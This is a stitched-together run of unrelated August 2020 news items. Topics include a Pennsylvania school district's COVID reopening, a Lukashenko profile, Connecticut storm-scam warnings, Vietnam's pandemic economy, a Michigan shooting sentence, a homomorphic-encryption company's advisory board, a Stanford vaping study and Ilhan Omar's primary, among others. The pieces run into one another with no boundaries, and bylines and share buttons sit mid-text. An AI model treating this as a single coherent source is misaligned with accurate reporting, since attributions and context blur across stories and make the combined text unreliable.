Silva, chief academic officer. For students in the hybrid model, teachers will post video content to assist with online learning, but the teacher will be working with students in the classroom so they are not free for live learning. The e-classroom teachers will likely have larger groups of students making live classes unwieldy every day, but they should happen at times, officials said. This will not be like the spring, Faccinetto vowed. The district is still in the process of matching e-learning students with teachers. Friday was the deadline for families to go virtual. Now the administration is playing a complex game of chess, trying to match students with teachers who cannot be in the classroom while staffing open schools. The district hopes to have this finalized in the next seven to 10 days, Roy said. I know all the clocks are ticking for everybody, he said. We are very sensitive to that. If a teacher has to quarantine or falls ill, each building will have long-term substitutes available to fill in. But the district will have to rely on a pool of substitute teachers. Pre-pandemic, finding enough subs has been a struggle for districts across the region. Students must wear masks on buses, sit with siblings and only two students can be in a seat. District officials acknowledged busing poses inherent risks, but they need to get students to school. In school, students will wear masks the majority of times and they will remain six feet apart. We cannot be too safe with our children, Faccinetto, who is sending his three children to school, said. Even though we meet the guidance, the fact that they are indoors we want them to wear masks all days. School Director Karen Beck Pooley suggested building principals offer virtual tours so parents can see classroom and cafeteria layouts. Roy said theyve been directed to do so. Children will have recess and specialists with modifications and masks. Lunch will take place in cafeterias with disposable utensils and plates. Children will be spaced out at tables and all sit in one direction. Cafeteria workers will serve students food wearing masks and gloves. There will still be extra-curriculars when possible, but some, like choir and band, are under review given their inherent risks. District health experts are concerned about those activities occurring indoors, Roy said. The district hopes to notify parents about district child care soon as well. Will the start of school be delayed? While there is a ton of work to be done, Roy believes the district is ready to welcome students starting Aug. 31. (The first day of in-person instruction will be Sept. 1.) Parents are relying on school starting that week, so changing it with so little notice could be problematic, Roy said. Delaying the start of school also brings up contractual issues with teachers, who can only work 190 days, Roy said. The district would essentially burn a week of potential instruction time and jeopardize getting the state-mandated 180 school days in. What technology will students get? All students will have a district-issued Chromebook and there are mobile hotspots available for students without internet access. Northampton County is devoting $825,000 of its federal coronavirus relief aid to expanding broadband access to county school districts. Bethlehem is receiving $100,000 and has worked with the county to create a low-income voucher program families can use with RCN and Service Electric to obtain Internet. Weve made good progress on closing that digital divide, Roy said. How much cleaning will happen? District officials emphasized that the top weapons in fighting the virus will be masks, distancing and hand washing. We are focused on the airborne spread of droplets, Faccinetto said. The district is putting an emphasis on cleaning high-touch surfaces and daily classroom cleaning, but research indicates surface transmission is quite rare. Bathrooms will be cleaned twice a day, schools will get nightly cleanings and high-touch surfaces will be disinfected throughout the day. The district is doubling its ability to turn over the fresh air into classrooms, so it will refresh about every 10 minutes, said Mark Stein, chief facilities and operations officer. Buses will be cleaned twice a day-- once after dropping all students off in the morning and again following afternoon bus runs. The entry stepwell will be cleaned and sanitized after dropping students off at each school. If someone on a bus tests positive, the affected vehicle will be aired out for 24 hours or as long as possible. Our journalism needs your support. Please subscribe today to lehighvalleylive.com. Sara K. Satullo may be reached at ssatullo@lehighvalleylive.com. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Minsk, Belarus Tue, August 11, 2020 10:04 526 6657ac82168da9fa101c8a4066d0366c 2 World Belarus,Alexander-Lukashenko,politics Free Strongman Alexander Lukashenko has ruled over ex-Soviet Belarus for nearly three decades and says he cannot bear to part with his "beloved" country. The 65-year-old won a sixth term in Sunday polls, according to the official results, and brutally crushed protests by opponents who claim he rigged the vote. Ordinary Belarusians and independent observers accuse him of stealing the election from 37-year-old Svetlana Tikhanovskaya, who has emerged as the leader of the protest movement against his rule. Critics call the mustachioed leader "the cockroach." As Europe's longest-serving non-royal leader, he has held onto power since 1994. He detained his main opposition rivals ahead of Sunday's poll and afterwards vowed he would not allow opponents to "tear the country apart". During an animated address to the nation last week, Lukashenko wiped sweat from his brow as he accused the opposition of planning mass riots in the capital Minsk. "We will not give the country to you," he said, speaking in front of a glum-faced audience of officials, church leaders and military personnel. He likened Belarus to a woman, saying "You don't hand over your beloved." 'Why cry now?' After post-election protests in which dozens were injured and a prominent rights group said that one man was killed, Lukashenko defended the use of force. "Why weep and cry now?" he said. A father of three, Lukashenko often attends official events with his youngest son, 15-year-old Nikolai. His latest election declaration said that he is still legally married although he is never seen in public with the wife he wed in 1975. He has insisted that Belarus is not ready for a woman leader. A female president "would collapse, poor thing," he said. Amnesty International has accused Lukashenko's government of "misogyny" and targeting female activists with discriminatory tactics. Lukashenko has been known for his blunt-speaking folksiness and the former collective farm director is routinely pictured in rural settings like tractor factories or potato fields. Despite tens of thousands of coronavirus infections, he has dismissed the pandemic as a hoax and refused to introduce a lockdown or postpone the election. He has offered dubious tips on avoiding the virus, recommending driving tractors in the countryside, drinking vodka and taking steam baths. Between Russia and West Lukashenko has kept his landlocked homeland wedged between Russia and EU member Poland largely stuck in a Soviet time warp. A quarter of a century after the collapse of the USSR the tightly controlled eastern European nation still has a security service called the KGB, adheres to a command economy and looks to former master Moscow as its main ally, creditor and energy provider. But Lukashenko has not been afraid to cross swords with the Kremlin as he nervously eyed its intervention in neighboring Ukraine and has sought to mend fences with the West. In February, he welcomed US Secretary of State Mike Pompeo, making the first visit to Belarus by a US Secretary of State since 1994. Despite recurring financial crises Lukashenko has stood firmly by Soviet-era economic policies. He has also signed the country up to the Eurasian Economic Union, Russian President Vladimir Putin's pet project. But while Belarus remains the most closely aligned former Soviet republic to Moscow, Lukashenko insists he is no Kremlin patsy, often switching from speaking Russian to Belarusian to show his independence. When Putin seized Crimea from Ukraine and was accused of sparking a rebellion after the February 2014 ouster of Kiev's Moscow-backed leader, Lukashenko appeared wary of Russia's aggressiveness. He has rejected the idea of outright unification with Russia and has accused Moscow of meddling in the current presidential campaign. Less than two weeks before the polls Belarus arrested more than 30 Russian "militants", saying they were on a mission to destabilize the country. The arrests sparked a crisis in ties with Moscow, but after the widespread claims of blatant vote rigging Putin was quick to congratulate Lukashenko on his re-election. By contrast, European governments questioned the results of Sunday's election, with Belarus neighbor Poland calling for an emergency EU summit on the situation. Connecticut Attorney General William Tong has warned Connecticut residents to be on alert for tree removal, power restoration or other repair scams in areas still without power or where heavy damage resulted from Tropical Storm Isaias. After past significant storms and weather events, Connecticut residents have reported individuals, some claiming to work for utility companies, going door to door offering to reconnect electric power, repair roofs, remove trees or do other work in exchange for cash, according to a press release issued by Tongs office. The utility companies, and their authorized contractors, always carry identification and none will ask for payments from consumers. Tong warned in the release that consumers should be wary of any other contractor who is either going door to door, or who reaches out offering a service during this time, according to the release. With some Connecticut residents still waiting desperately for their power to be reconnected and/or trees to be removed from their driveways, it is important to be vigilant of bad actors looking to make money off vulnerable, frustrated people, Tong said in the release. Always verify the legitimacy of a contractor or business offering to do work for you. Tong advised Connecticut residents to hire only contractors licensed by the state to repair damage to their homes and property. He said consumers should always verify the registration and insurance of any individual or company before allowing them to work on their property. When contracting for home repairs, homeowners should always use licensed local contractors and ask for and investigate their references, Tong added. Furthermore, consumers should be sure to ask for a written estimate from at least three contractors that include labor and materials, read the fine print before signing a contract, and do not pay a contractor in-full in advance, according to the release. Tong further cautioned consumers against purchasing electrical generators from unlicensed retailers, sometimes from the backs of trucks, as there are serious risks posed by a damaged or defective generator, the release added. Suspected scams can be reported to the Office of the Attorney General or to the Department of Consumer Protections Hotline. Source: Connecticut Office of the Attorney General Topics Catastrophe Natural Disasters Windstorm Hurricane Contractors Connecticut After 99 days without any new cases of community transmission, a local infection was confirmed in Da Nang on July 25 and the virus has since spread around the country and caused 15 fatalities, greatly impacting economic activities. According to many experts, the return of the virus will immediately eclipse the glimmer of hope for an early recovery for the tourism industry. Dinh Trong Thinh, a lecturer of the Academy of Finance, said: If the pandemic is not well controlled this time, the economic impact will be very large due to the bigger scale. Thinh added the local economy was under great pressure from weak demand for goods, products and services and it was facing the risk of interrupted production and service supply capacity. The cost of fighting against the new wave of the pandemic and overcoming its influence will be much more expensive than the previous one. The most negative impacts will be seen on employment, production and business growth," he told local media. Nguyen Dinh Cung, former director of Central Institute for Economic Management (CIEM) said the economy was now defined by being unstable, uncertain and insecure, with many forecasting a deteriorating direction. All forecasts could be changed constantly in this situation so we must prepare for all scenarios. Local economic growth will definitely be low. It could be the lowest of 35 years," he said. Cung said in the short term, people will limit travel and spending, causing a decrease in demand. At the same time, a lot of public investment is still stagnant because the implementers are afraid of risks and dont decide to act or to strengthen them quickly as they should," he added. To solve public investment issues, the CIEMs former director said: The capital allocation should be assigned more to the Government than the National Assembly. More decision-making power in public investment decisions should be given to leaders of provinces, cities and ministers. Stefanie Stallmeister, acting director of the World Bank (WB) in Vietnam, also said the country was facing the biggest economic shock in the past 35 years. She told local media though the country stood stable in the first half of the year, the economy only grew 1.8 percent, equivalent to a decrease of approximately five percentage points compared to the previous growth trajectory of the country. Vietnam must be active in a world full of uncertainty both domestically and internationally. Therefore, we believe that policymakers will have to find alternative directions for the country's traditional growth drivers, including overseas demand and weakening domestic consumption," she said. Stallmeister suggested three measures for Viet Nam. They were considering carefully removing international travel restrictions gradually, speeding up the implementation of public investment projects to increase domestic demand and supporting the private sector, especially in the most severely affected industries such as tourism, processing and manufacturing for export, with financial support and smart incentive policies. With the pandemic's impacts growing, many businesses have said they have not received help from Government support packages. The local business community has also been calling on banks to relax loan policies to give firms more time to adjust and seek new markets, said Nguyen Quang Vinh, CEO of a construction material company. "We are doing our best to find new businesses and to make sure we don't have to lay off our workers," Vinh said. Director of tour firm New World Travel Dang Thanh Trung said: "It will be very difficult for domestic travel to gain momentum, especially now everyone is anxiously watching how the second wave unfolds." Most experts urged the Government to make it easier for businesses to access the support packages. Cung said though the current support policies were basically sufficient, some policies such as policies to suspend, postpone, exempt taxes, should be extended to serve increasing difficulties from the new wave of the virus. In late July, the World Bank forecast the country's GDP growth could reach 2.8 percent in 2020 and will recover to 6.7 percent in the next year. In the latest report, the bank forecast Vietnam to rank fifth in the global growth this year. Within the past five years, the restaurant spot in Lincoln Heights near Paesanos has been home to Cafe Salsita, Cafe Dijon, Matinee Cafe and, most recently, Jubilee Cafe & Bakery. In June, the space near the Alamo Quarry Market became the home to a Mexican restaurant serving breakfast and lunch. Mexico Lindo, pretty Mexico in Spanish, was scheduled to open in April, but that was pushed back because of the COVID-19 pandemic. It is currently offering indoor dining at 50 percent capacity and has an outdoor seating area. JACKSON, MI A man who got into a fight and shot a gun at a Jackson party store has been sentenced. Darka Ross, 44, was sentenced to prison for one felony count each of possession of a firearm by a felon and possession of ammunition by a felon, and two counts of felony firearms. He was sentenced to jail for one count aggravated assault, records show. Jackson County Circuit Judge Thomas Wilson sentenced Ross on May 28. He received two years for each of the felony firearm charges, which are consecutive sentences. For the charges of felon in possession of a firearm arm and for possession of ammunition, he received 16 months to 10 years. The Michigan Department of Corrections says his earliest release date is April 2022 because of time served. Drunk man who opened fire outside Jackson party store pleads guilty to multiple charges Ross had two counts of assault with intent to murder and two counts of felony firearm dismissed in a plea agreement, according to court records. Ross, who was highly-intoxicated, fought with another man Dec. 5, 2018, at Franks Finer Foods, 418 First St., and pulled out a handgun and shot toward the man, police said. No one was struck. Drunk man who opened fire outside party store going to trial for attempted murder A Jackson County sheriffs deputy saw Ross fire the weapon and, after a brief foot chase, the deputy caught Ross and held him until Jackson police officers arrived to arrest him, police said. Ross is a felon and cannot legally possess a firearm, according to Michigan Department of Corrections records. He has served prison sentences for assaulting police, larceny, felonious assault and assault with intent to rob, records show. Read more from the Jackson Citizen Patriot: Man who ditched meth in Jackson High School parking lot after police chase sent to prison Man accused of heroin death, raping witness sentenced for lesser charge Jackson ax-throwing bar builds outdoor lanes for use during pandemic No new taxes on November ballot. Jackson County will make budget cuts instead 911 calls decrease in Jackson County because of stay home order, official says By ANI ALAPPUZHA: The 151-year-old St Paul's CSI church collapsed in Chungam Kuruvelly Padasekharam area of Alappuzha district, Kerala, on Tuesday morning after a bund breached. Since the church was located in the middle of two paddy fields, water entered the structure due to the breach of the bund following which it collapsed. Kerala: 151-year-old St. Paul's CSI church in Chungam Kuruvelly Padasekharam collapsed today after a bund breached in Alappuzha. Water entered the church as it was situated in the middle of 2 paddy fields. Locals were shifted as authorities had warned about the breach beforehand pic.twitter.com/amtRlJYY0i No injuries or deaths have been reported due to the incident. The local residents of the area had already shifted to a safer place as authorities had warned them about the breach beforehand. Heavy rains during the past few days have wreaked havoc in the area. India Meteorological Department (IMD) on Tuesday said that rain/thundershowers were observed at most places over Kerala in the past 24 hours. Impact: Leo Varadkar said hes heard of firms reopening but being unable to get by. PHOTO: DOUGLAS OCONNOR Minister for Enterprise, Trade and Employment, Leo Varadkar, has said there is "particular concern" for survival rates among small and medium businesses (SMEs) as winter approaches. Speaking at the launch of the Government's Covid-19 Restart Plus grant for small businesses, Mr Varadkar said: "Then we would have a concern in spring, when the wage subsidy scheme ends, that this may be a pinch point for companies." There are currently over 248,000 SMEs in Ireland employing people in cities, towns and villages across the country, according to figures from the Irish SME Association (Isme). Mr Varadkar said his department does not have up-to-date figures on the insolvency rates among SMEs. However, he said he's heard anecdotally of a number of firms that have tried to reopen for business but found "they can't get by or can't make money". "I don't have up-to-date numbers on insolvencies, but it is something that we will monitor," he said. Yesterday, Mr Varadkar also warned that a very strong economic recovery next year following the Covid-19 lockdown now looks less certain. The country's economy - which had been the fastest growing in Europe before the pandemic hit - is forecast to contract by 10.5pc this year and bounce back by 6pc next year, the Department of Finance predicted in April. "I think, to be frank, the economic impact is going to be a lot worse than you or I may have thought back in March or April or when the Government was formed [in June]," Minister Varadkar said on Newstalk. "Back in March or April I would have said this is going to be a three-month phenomenon, a single-quarter severe hit to the economy and that we would be in a very strong recovery by next year. That now looks less certain." The Government is currently paying the pandemic unemployment payment to 262,500 people, down from a lockdown peak of 600,000. A further 370,000 employees are being supported by a wage-subsidy scheme. The Covid-19 Restart Grant Plus, which was announced as part of the July stimulus, increases the maximum grant available to SMEs to 25,000 from 10,000 - in order to help firms recover. The minimum grant has increased to 4,000 from 2,000. Companies with up to 250 employees can now apply, where previously the grant was for businesses with fewer than 50 staff. "I'd like people to see this [grant] as part of a wider package," Minister Varadkar said. "There are other supports as well, for example: the wage subsidy scheme, the Vat cut, the rates holiday for six months, it's a really big package for business. We are open to doing more, but that is a matter for the budget in October," he added. The grants are being run by the local authorities and the Government is aiming for decisions to be made on applications within two weeks. However, he said in some cases it might take "a few more weeks". NEWARK, N.J., Aug. 11, 2020 /PRNewswire/ -- Duality Technologies , a leading provider of Privacy-Enhancing Technologies (PETs) enabling privacy-preserving data sharing and collaboration, today announced the formation of its advisory board which is comprised of industry leaders and scientific experts in fields such as financial services, regulatory policy and compliance, machine learning, ethics, anti-financial crime and enterprise software and healthcare AI. The advisory board will help drive Duality's mission: enabling privacy-enhanced collaborations on sensitive data. PETs are an essential tool in harnessing and increasing the value of sensitive data while enabling data users to remain compliant with diverse data-privacy legislation worldwide. Duality's products, based on Homomorphic Encryption (HE), enable multiple parties to perform privacy-preserving analysis of data with a wide range of practical applications, such as banks and law enforcement agencies seeking to join forces in their fight against financial crime across institutions and jurisdictions, and medical researchers aiming to pool clinical and genomic data in order to yield new conclusions regarding correlations between genomic characteristics of patients and susceptibility to certain diseases. Homomorphic Encryption makes these crucial outcomes attainable without compromising the confidentiality of burgeoning amounts of sensitive information, which remain encrypted throughout the analytics process. In addition, Duality's SecurePlusTM suite of products enables the protection of machine learning models during computation, addressing the growing need of AI and analytics companies to protect and monetize their valuable intellectual property. "Duality Technologies is at the forefront of facilitating responsible data sharing and analysis, which are key to navigating the era of Big Data," said Shafi Goldwasser, Co-Founder and Chief Scientist of Duality Technologies and Chair of Duality's advisory board. "Digital services constantly amass sensitive data such as PII, location data, financial data, biometric data, genomic data, health data and more. Today, people and enterprises are looking for ways to utilize this data while preserving privacy. I am excited to welcome this distinguished group of industry and academic leaders to our advisory board as we continue to develop and productize technological solutions for the most pressing problems of the data-driven world." Members of Duality's A dvisory B oard Joe Friscia, Former President and CEO of Nice Actimize, the leading provider of Financial Crime Management solutions, Friscia has over 25 years of experience in fostering the growth and development of leading companies in the fields of regulatory compliance, enterprise software and financial crime prevention. He was previously President of BAE Systems' Applied Intelligence Americas, General Manager and Executive Vice President of the Americas at Norkom Technologies, and member of the executive team at leading business process management software company Pegasystems Inc., when it went public. George Kadifa, enterprise software senior executive, growth capital investor, and advisor to senior executives at Fortune 500 companies. Kadifa has extensive executive experience at leading software companies, having served as Executive Vice President and a member of the Executive Committee at HP, where he led the company's $4-billion software business, Vice President, Global Delivery at IBM and Senior Vice President, Industrial Sector at Oracle. Kadifa was the founder of Corio Corporation and led the company's growth from inception to IPO. Daniel J. Weitzner, Founding Director of the MIT Internet Policy Research Initiative, and 3Com Founders Principal Research Scientist at the MIT Computer Science and Artificial Intelligence Laboratory (CSAIL). He is founder of the Center for Democracy and Technology, led the World Wide Web Consortium's public policy activities, and was Deputy Policy Director of the Electronic Frontier Foundation. Weitzner has been a leader in Internet public policy since the field's inception. Focusing on privacy, his research pioneered the development of Accountable Systems to enable computational treatment of legal rules. He was the first to advocate user control technologies such as content filtering to protect children. Weitzner served as the United States Deputy Chief Technology Officer for Internet Policy in the White House under the Obama administration, where he led initiatives on privacy, cybersecurity, copyrights, and digital trade policies promoting the free flow of information. He was responsible for the Consumer Privacy Bill of Rights and the OECD Internet Policy Making Principles. Michael Jordan, Pehong Chen Distinguished Professor of Statistics and EECs at the University of California, Berkeley, specializing in machine learning, statistics, and artificial intelligence. In 2016, he was named the most influential author in computer science by Science Magazine, based on rankings from the Semantic Scholar search engine. He is a member of the National Academy of Sciences and the National Academy of Engineering. His research in machine learning has forged new connections with a wide range of fields, including distributed systems, optimization theory, probability theory, and information theory. Suchi Saria, John C. Malone Associate Professor of Computer Science, Statistics and Public Health at Johns Hopkins University and the Founder and CEO of Bayesian Health. Saria's work has pioneered the use of statistical machine learning to design novel software-based diagnostic and treatment planning tools across a number of challenging disease areas in healthcare. Among Saria's honors include being named National Academy of Medicine Emerging Leader in Health and Medicine, a Sloan Research Fellow, and a Young Global Leader by the World Economic Forum in 2018. About Duality Technologies Founded by world-renowned data scientists and cryptographers, Duality Technologies is at the forefront of Privacy Enhancing Technologies (PETs), setting a new standard for privacy-preserving data collaborations. Duality SecurePlus, a leading PET platform, uniquely combines advanced Homomorphic Encryption and data science, enabling organizations to derive insights without exposing their sensitive data. Duality's products are used by companies across regulated industries including financial services, healthcare, telecommunications and more. Duality was recently listed on Fast Company's 2020 Most Innovative Companies List in the Data Science category. Duality has also been recognized as a Gartner "Cool Vendor" for Privacy Preservation in Analytics. For more information, please visit dualitytech.com . Duality Technologies Media Contact: Brandon Weinstock Headline Media (914) 336-4878 [email protected] SOURCE Duality Technologies To fuel our passion of being proponents of innovation for the future of today's laboratory and the personnel that run it, we want to share with you the high-level ideas of leaders who can help, CercaTalent+, a provider of TOP TALENT FOR PEAK PERFORMANCE, has launched a new podcast. Talent+Talks, (BuzzSprout), is a podcast about Innovation and Leadership in Laboratory Medicine focused on Life Sciences, Diagnostics, Oncology, Genetics and Genomics, because these inspire us and drive the healthcare industry. The discussions are geared towards leaders in general and commercial agents, especially in the field of laboratory medicine. To fuel our passion of being proponents of innovation for the future of today's laboratory and the personnel that run it, we want to share with you the high-level ideas of leaders who can help, said Scott Rivers, the host and Managing partner for CercaTalent+. Together, we will facilitate an environment of mutual teaching and learning to build a great future by sharing free flowing ideas and a willingness to always challenge ourselves and each other to expand our thinking and growth mindsets, he continued. The podcast will explore what's possible today and may help create the laboratory of tomorrow. It will cover what is exciting on the horizon and what innovators and entrepreneurs are doing to advance laboratory medicine. Because of current market conditions brought by COVID-19, many are not able to get into the laboratories to do their jobs, provide new and innovative instrumentation, software and testing solutions to the medical markets, so this is where the podcast begins. Its inaugural guest is human efficiency expert David Rutherford. By delivering to you tangible, actionable ideas on how to lead, work, market, sell and thrive during these times, he will introduce new resources to you and deliver new ideas about how to achieve peak performance in the current market conditions. Over the past 10 years, David has worked with some of the world's leading companies, reaching tens of thousands in their quest to achieve victory in the tough markets of today. His message has also reached over 10 million people around the world via his show, YouTube videos and social media presence. David stated, Listeners can expect to learn how to defeat the negative insurgency in their lives by igniting the fire in their gut and succeeding in every environment imaginable, especially something like this pandemic. They will learn the proven tools to help them begin winning on the battlefield of life. I guarantee listeners will have a life-changing experience using what Scott and I share. HOOYAH! CERCA Talent+ is a full-service Talent Firm with strategic focus in the areas of Life Sciences, Diagnostics, Genomics and Biotechnology. Our clients choose to work with CERCA because of our deep understanding of the industries that we serve. They continue to work with us based on our knowledge and contacts which lead to amazing service to our clients. By working with the best clients, we are able to support them hiring the best talent in the industry. Scott is the Managing Director at Cerca Talent+, a Global Recruitment Solutions firm, where he directs the Diagnostics, Device and Genetics Talent Acquisition activities for the organization. Scotts background as a recruiter, search firm owner and industry sales and marketing director, gives him an inequitable advantage in todays talent market. Regarded as an expert in Talent Acquisition and Employment Technology, Scott has consulted some of the largest companies in the world on how best to implement talent acquisition strategies into daily practice. Scotts past experiences include senior sales and marketing roles at global organizations including Bayer AG and Johnson & Johnson. His last industry position was the Global Director of Oncology Marketing at a Johnson & Johnson Company. There, he was responsible for all upstream and downstream marketing activities pertaining to the molecular oncology products of the organization. David Rutherford served 8 years in the Naval Special Warfare Community as a SEAL student, combat paramedic, operator and instructor. Since his honorable discharge from the Navy in 2003, he continued traveling for another 7 years as a tactical training and security expert for the US Government and one of the largest private security firms in the world. David has trained and inspired special operations units around the globe to push themselves past any and all known limitations. His masterful ability to motivate enables people from all walks of life to achieve success in any environment imaginable. David launched FrogLogic Concepts, LLC after a powerful experience during his second trip to Afghanistan in 2005. He is living his dream as an internationally known Motivational entrepreneur. JumpMediaLLC The north-central African nation of Chad, which marked 60 years of independence on Tuesday, has a chronic history of instability, including a long-running battle with jihadists Fledgling state A former French colony, Chad declares its independence on August 11, 1960 with Francois Tombalbaye as its first president. From 1965 an armed rebellion begins in the north of the country led by Frolinat (National Liberation Front). French troops intervene in the conflict several times in support of government forces, as part of its defence accords with the country. Tombalbaye is assassinated in a coup and Felix Malloum takes over as president in 1975. Libya, civil war Libya, which borders Chad to the north, occupies a contested strip of land in 1973. A transitional government of national unity led by Goukouni Weddeye and with the backing of Libyan ruler Moamer Kadhafi, is installed in 1979. A year later civil war breaks out in the capital between Weddeye supporters and his defence minister Hissene Habre, who seizes power in 1982. Government forces launch an offensive in the north in 1987 to recapture the region held by Libyan troops. They manage to take back all but the Aouzou Strip, which is finally returned to Chad in 1994, after 21 years of Libyan occupation. Habre repression Habre is in power for eight years a period marked by harsh repression in which up to 40,000 people are believed to have been killed and many more kidnapped, raped or tortured. Habre is overthrown by his former military advisor Idriss Deby Itno in 1990 and flees to Senegal. In 2016 the Extraordinary African Chambers court in Senegal sentences Habre to life in prison for war crimes, crimes against humanity and a litany of other charges, including rape. In April 2020 a judge grants Habre a 60-day release due to the coronavirus. He returns to prison in June, despite his supporters ramping up efforts to have him freed. Warrior leader Debys nearly 30-year rule has been marked by accusations of electoral fraud and violations of human rights, as well as jihadist attacks in the southwest of the country and fighting over land in the east. A Muslim like some 53 percent of Chadians, Deby has won support and influence in the West for his contribution to the fight against violent Islamism. On Tuesday, the National Assembly, where his party has a strong majority, named him Marshal of Chad, the first in his countrys history, after he led a counter-offensive against jihadists in April. Deby has successively postponed legislative elections since April 2011, blaming the threat posed by the Nigerian jihadist group Boko Haram, a lack of funds in one of the worlds most impoverished states, and finally the coronavirus pandemic in 2020. The next presidential election is to be held in April 2021, although Deby has not yet announced whether he will run for a sixth term. The Maharashtra government said Capt Sathe was an inspiration to younger pilots Wife Sushma Sathe and son Dhananjay Sathe of Air India Express pilot Captain Deepak Sathe, grieve as his body was laid out for final respects in Mumbai.(PTI) Mumbai: Wing Commander Deepak Sathe (retd), pilot-in-command of the Air India Express plane that crashed at the Kozhikode airport in Kerala last week, was cremated here on Tuesday with state honours. Mourners lined the road as the funeral procession started from his residence in Chandivli in Mumbai. The last rites were performed at the Tagore Nagar electric crematorium in Vikhroli in the presence of his relatives. The number of people allowed to attend the last rites was restricted in view of the COVID-19 outbreak. Relatives, friends and others, including Mumbai mayor Kishori Pednekar, paid floral tributes at his residence before the final procession began. Slogans of "amar rahe" were raised when his body was being taken to the crematorium from the residence. Earlier in the day, the Maharashtra government decided to accord a state funeral to the pilot, and said his life would inspire young pilots. The flight from Dubai with 190 people, including a six-member crew, overshot the tabletop runway during landing at the Kozhikode airport in heavy rain on Friday, killing 18 people, including both the pilots. Sathe's body was flown here on Sunday and was kept at the Air India facility near Terminal 2 of the Chhatrapati Shivaji international airport for some time before being taken to Bhabha Hospital in Bandra. On Tuesday morning, the body was brought from the hospital to the family home in Chandivli. Residents of the housing complex paid tributes to the pilot. Some were seen saluting him from their balconies. The pilot's father, Col. Vasant Sathe (retd), 87 and mother Neela, 83, were present at the Chandivli residence. They reside in Nagpur and reached Mumbai on Monday. The pilot's US-based elder son Shantanu also reached Mumbai on Monday for the last rites. He, along with his mother Sushma and younger brother Dhananjay, were in tears as the last rites were performed shortly after noon. A wreath was placed on behalf of the Indian Air Force, where Sathe was a test pilot before joining Air India. Pilots, cabin crew and others in the aviation sector also participated in the final journey. The Police Command in Delta State has arrested a fake soldier along Sapele-Benin road, conveying 420 wraps of Indian hemp. DSP Onome Onovwakpoyeya, the Command spokesperson, who confirmed the arrest of the suspect to journalists in Asaba, said the man was arrested with a vehicle painted in army colours. The suspect, 44-year-old Mr Fabian Ojumah, was arrested with a Toyota Tundra truck painted in the Nigeria Army colours. The suspect paraded himself as a Major in the Nigeria Army when he was quizzed by police operatives of the Delta Operation Safer Highways. He was caught conveying 420 wraps of Indian hemp, and cannot specify where he is taking the exhibits to, he said. He also said the command has commenced investigations to unravel the fake soldiers criminal network. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Vaping is linked to a substantially increased risk of COVID-19 among teenagers and young adults, according to a new study led by researchers at the Stanford University School of Medicine. The study, which will be published online Aug. 11 in the Journal of Adolescent Health, is the first to examine connections between youth vaping and COVID-19 using U.S. population-based data collected during the pandemic. Among young people who were tested for the virus that causes COVID-19, the research found that those who vaped were five to seven times more likely to be infected than those who did not use e-cigarettes. "Teens and young adults need to know that if you use e-cigarettes, you are likely at immediate risk of COVID-19 because you are damaging your lungs," said the study's senior author, Bonnie Halpern-Felsher, PhD, professor of pediatrics. 'Not just a small increase in risk' "Young people may believe their age protects them from contracting the virus or that they will not experience symptoms of COVID-19, but the data show this isn't true among those who vape," said the study's lead author, postdoctoral scholar Shivani Mathur Gaiha, PhD. "This study tells us pretty clearly that youth who are using vapes or are dual-using [e-cigarettes and cigarettes] are at elevated risk, and it's not just a small increase in risk; it's a big one," Gaiha said. Data were collected via online surveys conducted in May. Surveys were completed by 4,351 participants ages 13 to 24 who lived in all 50 U.S. states, the District of Columbia and three U.S. territories. The researchers recruited a sample of participants that was evenly divided between those who had used e-cigarettes and those who had never used nicotine products. The sample also included approximately equal numbers of people in different age groups (adolescent, young adult and adult), races and genders. Participants answered questions about whether they had ever used vaping devices or combustible cigarettes, as well as whether they had vaped or smoked in the past 30 days. They were asked if they had experienced COVID-19 symptoms, received a test for COVID-19 or received a positive diagnosis of COVID-19 after being tested. Results adjusted for confounding factors The results were adjusted for confounding factors such as age, sex, LGBTQ status, race/ethnicity, mother's level of education, body mass index, compliance with shelter-in-place orders, rate of COVID-19 diagnosis in the states where the participants were residing, and state and regional trends in e-cigarette use. Young people who had used both cigarettes and e-cigarettes in the previous 30 days were almost five times as likely to experience COVID-19 symptoms, such as coughing, fever, tiredness and difficulty breathing as those who never smoked or vaped. This may explain why they were also more likely to receive COVID-19 testing, said Halpern-Felsher, especially given that in May, many regions limited COVID-19 testing to people with symptoms. Depending on which nicotine products they used and how recently they had used them, young people who vaped or smoked, or both, were 2.6 to nine times more likely to receive COVID-19 tests than nonusers. Among the participants who were tested for COVID-19, those who had ever used e-cigarettes were five times more likely to be diagnosed with COVID-19 than nonusers. Those who had used both e-cigarettes and conventional cigarettes in the previous 30 days were 6.8 times more likely to be diagnosed with the disease. The researchers did not find a connection between COVID-19 diagnosis and smoking conventional cigarettes alone, perhaps because the prevalent pattern among youth is to use both vaping devices and traditional cigarettes. Other research has shown that nearly all nicotine-using youth vape, and some also smoke cigarettes, but very few use cigarettes only, Halpern-Felsher said. 'Now is the time' In line with other recent COVID-19 research, the study found that lower socioeconomic status and Hispanic or multiracial ethnicity were linked to a higher risk of being diagnosed with the disease. In addition to warning teenagers and young adults about the dangers of vaping, the researchers hope their findings will prompt the Food and Drug Administration to further tighten regulations governing how vaping products are sold to young people. "Now is the time," Halpern-Felsher said. "We need the FDA to hurry up and regulate these products. And we need to tell everyone: If you are a vaper, you are putting yourself at risk for COVID-19 and other lung disease." ### A statistician at the University of California, San Francisco also contributed to the research, which was funded by the Taube Research Faculty Scholar Endowment; the National Heart, Lung and Blood Institute (grant U54 HL147127); and the Food and Drug Administration Center for Tobacco Products. The Stanford University School of Medicine consistently ranks among the nation's top medical schools, integrating research, medical education, patient care and community service. For more news about the school, please visit http://med.stanford.edu/school.html. The medical school is part of Stanford Medicine, which includes Stanford Health Care and Stanford Children's Health. For information about all three, please visit http://med.stanford.edu. Print media contact: Erin Digitale at (650) 724-9175 (digitale@stanford.edu) Broadcast media contact: Margarita Gallardo at (650) 723-7897 (mjgallardo@stanford.edu) Rep. Ilhan Omar, a member of the so-called 'squad,' is facing the toughest primary battle of the progressive female foursome who were elected to Congress in 2018. Voters in her Minneapolis, Minnesota district head to the polls Tuesday as she's joined on the ballot by Antone Melton-Meaux, who's used pro-Israel dollars to mount a significant bid to unseat one of the House's most prominent and controversial Democrats. Melton-Meaux is a first-time candidate, a lawyer and a mediator, who's used Omar's national profile against her. ON THE BALLOT: Voters in Minnesota's Fifth District will choose Tuesday between Rep. Ilhan Omar (left) and Democratic challenger Antone Melton-Meaux (right) Rep. Ilhan Omar has attracted controversy since entering Congress in 